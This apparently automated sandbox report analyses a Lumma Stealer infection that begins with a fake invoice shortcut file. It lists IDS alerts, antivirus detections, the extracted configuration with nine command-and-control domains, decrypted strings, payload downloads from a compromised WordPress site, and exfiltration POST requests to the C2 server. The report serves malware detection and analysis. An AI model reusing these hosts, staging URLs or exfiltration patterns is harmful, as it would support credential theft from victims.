Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:26.271811+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:28.505807+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:31.054078+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-16T15:19:33.285661+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49893	104.21.64.1	443	TCP
2024-12-16T15:19:35.606976+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49899	104.21.64.1	443	TCP
2024-12-16T15:19:38.842602+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49908	104.21.64.1	443	TCP
2024-12-16T15:19:41.072706+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49914	104.21.64.1	443	TCP
2024-12-16T15:19:44.388970+0100	2058105	1	Domain Observed Used for C2 Detected	192.168.2.5	49922	104.21.64.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abrasigehs .my)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:24.566756+0100	2058104	1	Domain Observed Used for C2 Detected	192.168.2.5	62077	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:31.916607+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49887	104.21.64.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:18:12.071639+0100	2803305	3	Unknown Traffic	192.168.2.5	49708	208.91.198.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://abrasigehs.my/k	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/apiPk	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/c	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/d	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/9J	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/qqBYYD	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/api	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/J	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/pi	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/apiEAyUo	Avira URL Cloud: Label: malware
Source: abrasigehs.my	Avira URL Cloud: Label: malware
Source: https://abrasigehs.my/apier	Avira URL Cloud: Label: malware

Found malware configuration

Source: cmd.exe.6220.20.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wrathful-jammy.cyou", "deafeninggeh.biz", "sordid-snaked.cyou", "awake-weaves.cyou", "abrasigehs.my", "diffuculttan.xyz", "effecterectz.xyz", "immureprech.biz", "debonairnukk.xyz"], "Build id": "AB15g1--NEWBuild"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]

ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: InvoiceNr274728.pdf.lnk

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ixxqhy

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: abrasigehs.my
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String decryptor: AB15g1--NEWBuild

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

File opened: C:\Users\user\AppData\Local\Temp\msvcr90.dll

Source: unknown	HTTPS traffic detected: 208.91.198.106:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.198.106:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49922 version: TLS 1.2

Source:	Binary string: msvcr90.i386.pdb source: JIKJCBEX.exe, 0000000D.00000003.2236338133.00000000026E1000.00000004.00000020.00020000.00000000.sdmp, msvcr90.dll.14.dr
Source:	Binary string: explorer.pdbUGP source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000005.00000003.2440533498.000001B708DB9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440489470.000001B704E2C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446677413.000001B708D95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708EB3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452986912.000001B708DD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2445424334.000001B704E2B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453428675.000001B708EDB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708E65000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440802645.000001B704E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452952243.000001B708D96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440761514.000001B704E1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440164414.000001B708EBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440213660.000001B708EDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438730946.000001B704E04000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440249816.000001B708E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440846444.000001B704E29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: pyexec.exe, 0000000E.00000002.2489740320.0000000008DA0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2489449260.0000000008A4D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721618843.0000000009051000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720977677.000000000894D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721208287.0000000008CA0000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899334863.0000000005110000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899061410.0000000004CAA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109614540.00000000046BC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109791195.0000000004A10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: pyexec.exe, 0000000E.00000002.2489740320.0000000008DA0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2489449260.0000000008A4D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721618843.0000000009051000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720977677.000000000894D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721208287.0000000008CA0000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899334863.0000000005110000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899061410.0000000004CAA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109614540.00000000046BC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109791195.0000000004A10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sethc.pdb source: mshta.exe, 00000005.00000003.2440533498.000001B708DB9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446677413.000001B708D95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708EB3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452986912.000001B708DD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453428675.000001B708EDB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440802645.000001B704E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452952243.000001B708D96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440761514.000001B704E1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440164414.000001B708EBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440213660.000001B708EDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438730946.000001B704E04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000003.2481257697.000000000915B000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmp, pyexec.exe, 00000013.00000002.2722259450.000000006BC3A000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: explorer.pdb source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_0040301A GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,		13_2_0040301A
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_00402B79 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,		13_2_00402B79

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49873 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058104 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abrasigehs .my) : 192.168.2.5:62077 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49887 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49899 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49893 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49908 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49914 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2058105 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI) : 192.168.2.5:49922 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2021697 - Severity 1 - ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious : 192.168.2.5:49708 -> 208.91.198.106:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49887 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49873 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49873 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49922 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49879 -> 104.21.64.1:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 104.21.64.1 443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: abrasigehs.my
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: debonairnukk.xyz

Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf HTTP/1.1Host: agrizone.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/likes/JIKJCBEX.exe HTTP/1.1Host: agrizone.ae

Source: Joe Sandbox View

IP Address: 104.21.64.1 104.21.64.1

Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49873 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49887 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49899 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49893 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49908 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49914 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49922 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49708 -> 208.91.198.106:443

Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/markdown/jetpackhandler HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: agrizone.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MKR5ZYGGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12784Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LDI7022ZJCF3GEWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15062Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZLL0K474LK55CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20540Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TZYAAGTHX2OJKLVRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1258Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=G4IBZAWC9GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1074Host: abrasigehs.my
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 117Host: abrasigehs.my

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/markdown/jetpackhandler HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: agrizone.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf HTTP/1.1Host: agrizone.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/modules/likes/JIKJCBEX.exe HTTP/1.1Host: agrizone.ae

Source: global traffic	DNS traffic detected: DNS query: agrizone.ae
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: abrasigehs.my

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abrasigehs.my

Source: pyexec.exe, 00000013.00000002.2720741424.0000000008756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c0rl.m%L
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3107794448.0000000002AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000007.00000002.2423429280.00000192D4E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: svchost.exe, 00000006.00000002.3329816598.000001F177800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: pyexec.exe, 0000000E.00000002.2488719036.000000000875D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720741424.0000000008756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicer
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
